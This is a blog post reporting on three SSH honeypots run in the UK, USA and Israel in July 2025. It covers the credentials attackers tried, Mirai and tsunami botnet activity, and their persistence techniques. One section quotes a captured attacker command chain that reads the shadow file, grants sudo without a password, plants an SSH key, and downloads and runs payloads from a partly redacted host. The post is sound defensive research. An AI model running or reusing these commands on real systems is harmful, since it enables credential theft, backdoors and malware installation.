Honeypots 2025: three countries

I've found honeypots fascinating for ages, and have now run honeypots for research three times. You can read about my 2021 and 2022 experiences in older blog posts. In July I created three honeypots to re-run my research.

This blog post describes my findings after running the honeypots from 7th - 31st July 2025.

What's a honeypot?

A honeypot is a system that's been set up in an environment but for which there is no legitimate traffic. Its purpose is to exist and never be touched by a legitimate user (or by a user for a legitimate purpose). When you've deployed one you generally don't shout about it, it just sits and runs. Few people know of the honeypot's existence and there's no real data or services there for the majority of an organisation's users.

Because there's no legitimate traffic we know that anything touching the honeypot is at best people being curious, and at worst malicious.

2025's setup

Following my codeHarbour talk in 2022, when someone asked what would happen if I deployed honeypots in different countries, I decided this year I'd run three. Each was hosted in Microsoft Azure in a different region: UK, USA, Israel.

Cowrie is an open source honeypot (found on GitHub) that I've used for a while, so it was a natural choice for this year's research. Each honeypot was configured to only offer SSH. Cowrie was running on top of Ubuntu Linux, based on a standard Microsoft Azure image.

I didn't customise the fake filesystem or user setup, so if someone looked at the honeypot in detail they'd identify that it was a honeypot, but I did give each honeypot a different name. Israel's was IsraelOffice01 for example.

Each honeypot was accessible from the global public Internet (i.e. I didn't restrict access to the country it was hosted in) and could communicate outbound. If the honeypot attackers had wanted to, they could have connected to the other honeypots via the public Internet.

Each honeypot was on its own, dedicated, virtual network in Azure. There were no production or real infrastructure accessible to them. This meant that if the attacker broke out of the honeypot environment they couldn't attack my infrastructure.

No IP attacker IP addresses

Sadly, and I'm not sure why, my logs didn't contain the attackers' IP addresses. This was odd, as in previous years these were present. Something must have changed with either how Azure routed the traffic, or the Cowrie program itself, as all I could see was IPv6 addresses. Given my honeypots were only published on IPv4, the IPv6 data was of no use.

Username and password analysis

Not surprisingly, given SSH is typically found on Linux / Unix, the most popular username was root. Any password was accepted for root and would allow the user access to the honeypot.

Other usernames in the sample showed product names (for example elasticsearch) and company names (oracle and ubnt), as well as human names (alice, benjamin, caroline). Seemingly random strings like 345gs5662d34 were also present. In the case of 345gs5662d34 appears to be a password used on Polycom CX600 SIP phones according to the Internet Storm Centre. The centre comments that sometimes passwords get entered into password fields by poorly coded bots.

Speaking of passwords, I nearly fell off my chair when I found the most common password, in all three honeypots, was ****** (literally six asterisks). This was followed by other numbers of asterisks, as the word-cloud below shows.

Removing the asterisks and the other most common passwords showed that strings of numbers were the next common passwords used. I found that interesting, as previously a lot of default passwords were based on the word "password" itself, but the data shows that such passwords are a long way down the list.

I particularly like the username oceanbase, which only occurred in the USA honeypot. The user wasn't granted a login (only root was) but the username conjured up images of an evil villain's underwater base (I'm sure that was a James Bond plot once). The account's password was also specified as oceanbase, not great security practice.

Common findings

Attackers at all three honeypots exhibited these behaviours:

• Attempts to login via SSH keys (not supported)
• A lot of overlapping usernames
• wget was used to download payloads from the Internet
• uname used to get OS information
• Scripts downloaded and run
• Mirai botnet (multiple versions) attempted

I first saw the attempts to enrol my honeypots in the Mirai botnet in my 2022 research, and it seems Mirai is still going strong. Disconnecting from the honeypot returns it to a clean configuration, so the honeypots wouldn't end up participating for long, if at all.

Scripts run on the honeypots were a mix of "get it right" and "hit and hope". For the "get it right" category I could see a script that attempted to determine the processor architecture of the honeypot to only download the correct payload. This script also used "good English" in its comments: "If all else fails" rather than the broken English I'd seen in previous years.

"Hit and hope" scripts were the opposite. They downloaded and attempted to run payloads for multiple processor architectures (x86, x64, ARM, m68k for the Amiga and Sega Megadrive fans...). Downloads would be successful but running a payload built for a different processor would fail.

Attempting persistence

I'd not seen this in 2021 or 2022. This year, attackers attempted to make sure they could connect back to the honeypots using SSH keys (USA and Israel) and changing passwords for known users (Israel only). Attackers deployed their SSH keys to the honeypots by deleting all other keys (rm -rf ~/.ssh) and then placing their key as .ssh/authorized_keys. This action is twofold - existing user keys are removed, stopping prior keyholders (legitimate or otherwise) from gaining access). Secondly, if you're using an SSH key you do not need to know the user's password. This means that if the target gets cleaned up, with a new password set, the attacker could still get in.

In the USA honeypot, the SSH key had a comment of mdrfckr, which seems to be a botnet group that's been operating since at least 2017. Port22 wrote two blog posts about mdrfckr.

On the Israel honeypot there was an attempt to change the password and login shell of the user daemon. daemon exists on most (all?) Linux systems, however, the command executed wasn't successful. If that had worked, the attacker would have been able to SSH in as root and also SSH in as daemon, presumably so that if root had been cleaned up they'd still have a way in.

Changing sudoers

Using the command sudo, a user can run a command as root without needing the root password. The attacker attempted to add daemon to the sudoers file, allowing the user to run any command as root without specifying a password. Combined with a known password value (they picked Password123 🤦‍♀️) this would have allowed them to maintain administrative access after a cleanup of the root account.

Installing tsunami

Again seen only in the Israel honeypot was an installation of the tsunami (aka kaiten). According to tsunami's built in help (which I read via strings rather than running the application), this tool is a "special packeter that won’t be blocked by most firewalls". It's controlled via Internet Relay Chat (IRC), giving attackers an easy, low bandwidth, way to control their botnet.

Examining a command

Looking at the most interesting Israel connection, I can see that on logging into the honeypot the attacker sent all their commands in one go:

uname -a;id;cat /etc/shadow /etc/passwd;lscpu;echo 'daemon
ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;chsh -s /bin/sh
daemon;echo Password123 |passwd daemon --stdin;mkdir ~/.ssh;chattr
-ia ~/.ssh/* ~/.ssh;wget http://162.215.XX.XX/ns1.jpg -O
~/.ssh/authorized_keys;chmod 600 ~/.ssh/authorized_keys;chmod 700
~/ ~/.ssh;wget http://162.215.XX.XX/ns3.jpg -O /tmp/x;chmod +x
/tmp/x;/tmp/x;mv /tmp/x /tmp/o;/tmp/o;rm -f /tmp/o;mkdir
/sbin/.ssh;cp ~/.ssh/authorized_keys /sbin/.ssh;chown
daemon.daemon /sbin/.ssh /sbin/.ssh/*;chmod 700 /sbin/.ssh;chmod
600 /sbin/.ssh/authorized_keys;wget http://162.215.XX.XX/oto -O
/etc/oto;chmod 755 /tmp/oto;/tmp/oto;curl http://162.215.XX.XX/oto
-o /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;rm -f /tmp/oto

Unpacking some of these, we can see that:

• Details of the host OS (uname), user (id), and processor (lscpu) were taken
• The username and password databases were viewed (cat /etc/shadow /etc/passwd)
• daemon was added to /etc/sudoers
• An attempt was made to change daemon's login shell (chsh, which wasn't available) and change its password (echo Password123 |passwd daemon --stdin which was unsuccessful due to an incorrect command)
• An SSH key was downloaded to authorized_keys, claiming to be an image (ns1,jpg)
• Additional scripts were downloaded, sometimes claiming to be images, that were really a crypto miner and tsunami

In raw numbers

• 133,158 login attempts
• 59,250 successful logins (~44%)
• Eight unique payload hosts - six in the USA, one in Russia, one in China

Conclusion

It's interesting to see how things are changing over the years. In 2021 I only saw crypto miners for Monero being installed. 2022 saw only the Mirai botnet. This year was more interesting due to the attempts to gain persistence, which I don't recall seeing previously - it was "set it and forget it" before.

Without the attacker's IP addresses I can't analyse locations that originated attacks, which is a shame. Certainly something I'll make sure is working next time.

Banner image: Screenshot from my codeHarbour talk, showing one of the attack commands.